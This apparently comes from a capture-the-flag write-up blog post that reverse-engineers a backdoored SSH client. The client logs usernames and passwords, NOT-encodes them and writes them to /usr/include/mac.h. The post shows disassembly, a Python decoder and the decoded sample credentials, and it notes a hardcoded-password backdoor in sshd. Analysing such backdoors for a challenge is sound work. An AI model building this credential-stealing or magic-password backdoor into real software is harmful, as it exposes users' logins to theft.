Anyway, analyzing the files will give us a clue about the "encryption" algorithm. So, we'll choose the client executable ("ssh"). A quick win is always search for text references to the "mac.h" file. We were lucky, as there were 6 references to that string in different locations:
try_password_authentication+13D mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h" try_password_authentication+17D mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h" input_userauth_info_req+1AA mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h" input_userauth_info_req+1EA mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h" userauth_passwd+170 mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h" userauth_passwd+1B0 mov edi, offset aUsrIncludeMac_; "/usr/include/mac.h"
Taking a deeper look on the "input_userauth_info_req" function we'll see the following string: "SSH2_OUT: %s \tuser: %s \tpass: %s \t(%s)\n"
Googling for the string "SSH2_OUT" will hint us that we are facing a backdoored executables that writes to a log file all the usernames/passwords. Now it's easier to understand the code:
Step 1) Do not store login attempts for user "abrazi":
[...] ssh:004111AB mov eax, 6 ssh:004111B0 mov rsi, rbx ssh:004111B3 mov edi, offset aAbrazi ; "abrazi" ssh:004111B8 cld ssh:004111B9 mov rcx, rax ssh:004111BC repe cmpsb ssh:004111BE jnz loc_4112 ;"Do not log if user is 'abrazi'" [...]
Step 2) Save the credentials details (IP, username,password) in the buffer 'abuff'
[...] ssh:004112D8 ssh:004112D8 loc_4112D8: ssh:004112D8 mov r12, qword ptr cs:options+0C0h ssh:004112DF mov rbx, [r8] ssh:004112E2 call get_remote_ipaddr ssh:004112E7 mov r9, rbp ssh:004112EA mov rcx, rax ssh:004112ED mov edx, offset aSSH2_out ; "SSH2_OUT: %s \tuser: %s \tpass: %s \t(%s)\n"... ssh:004112F2 mov r8, r12 ssh:004112F5 mov esi, 400h ; maxlen ssh:004112FA mov edi, offset abuff ; s ssh:004112FF xor eax, eax ssh:00411301 mov [rsp+38h+var_38], rbx ssh:00411305 call _snprintf ssh:0041130A jmp loc_4111C4 [...]
Step 3) Encode the previous string using "NOT" operator, that basically is the same than XOR'ing the string with 0xff
[...] ssh:004111F0 ssh:004111F0 loc_4111F0: ; CODE XREF: input_userauth_info_req+19D j ssh:004111F0 not ds:abuff[rdx] ; "chr = ¬chr" or "chr = chr ^ 0xff" ssh:004111F6 add rdx, 1 ssh:004111FA cmp rdx, rax ssh:004111FD jnz short loc_4111F0 [...]
Step 4) Write the encrypted string to the "log" file (mac.h)
[...] ssh:00411205 loc_411205: ssh:00411205 mov esi, (offset a_sshId_dsa+0Ah) ; modes ssh:0041120A mov edi, offset aUsrIncludeMac_ ; "/usr/include/mac.h" ssh:0041120F call _fopen ssh:00411214 test rax, rax ssh:00411217 mov cs:alog, rax ssh:0041121E jz short loc_411245 ssh:00411220 movsxd rsi, cs:alen ; size ssh:00411227 mov edi, offset abuff ; ptr ssh:0041122C mov rcx, rax ; s ssh:0041122F mov edx, 1 ; n ssh:00411234 call _fwrite ssh:00411239 mov rdi, cs:alog ; stream ssh:00411240 call _fclose [...]
So, with the following script, it'll be possible to decrypt the original (mac.h) file:
#bin100
fp=open('mac.h')
cifrado=fp.read()
fp.close()
output=''
for i in cifrado:
#val=256+~ord(i) <- NOT operation
val=ord(i) ^ 0xff # NOT == XOR(0xff)
output+=chr(val)
print output
Unencrypted output:
SSH2_OUT: 192.168.88.61 user: root pass: foobar (ddtek.biz) SSH2_OUT: 192.168.88.61 user: root pass: f00bar (ddtek.biz) SSH2_OUT: 192.168.88.61 user: root pass: mypassw0rd (ddtek.biz) SSH2_OUT: 10.0.2.15 user: root pass: supr3m3p0w3r (defcon.org) pass_from: 10.0.2.15 user: root pass: supr3m3p0w3r (defcon.org) SSH2_OUT: 192.168.88.151 user: emily pass: l0v3ly SSH2_OUT: 192.168.88.151 user: emily pass: w0nd3rful SSH2_OUT: 192.168.88.151 user: emily pass: n0pa$$w0rd pass_from: 192.168.88.151 user: emily pass: l0v3ly (hackeruniversity.edu) pass_from: 192.168.88.61 user: feather pass: l1ght3rthand1rt (ddtek.biz) pass_from: 192.168.88.61 user: feather pass: wh@tsmypa$$ (ddtek.biz) pass_from: 192.168.88.61 user: feather pass: justw@it (ddtek.biz) pass_from: 192.168.88.61 user: feather pass: ohmygoD (ddtek.biz) pass_from: 192.168.88.61 user: feather pass: l1ght3rthand1rt (ddtek.biz) pass_from: 192.168.88.61 user: emily pass: l0v3ly (ddtek.biz)
After some tries (and discovering that the UI was buggy) you'll get the right solution: supr3m3p0w3r
One last side note: the SSH daemon (sshd), it's also back-doored, and it'll give you access to any account if a "secret" password is entered. However, it seems that the password is not easy to be crack, so if you want to spend some CPU cycles, give it a try :p.
sshd:004092B7 loc_4092B7: ; salt sshd:004092B7 mov esi, offset salty sshd:004092BC mov rdi, r12 ; key sshd:004092BF call _crypt sshd:004092C4 cld sshd:004092C5 mov rsi, rax sshd:004092C8 mov edi, offset encryptedPWD ; "xzoQHjF6pMZlY" sshd:004092CD mov ecx, 0Dh sshd:004092D2 repe cmpsb ; Check if crypt(entered_password) == "xzoQHjF6pMZlY" sshd:004092D4 jnz short loc_409303
No comments:
Post a Comment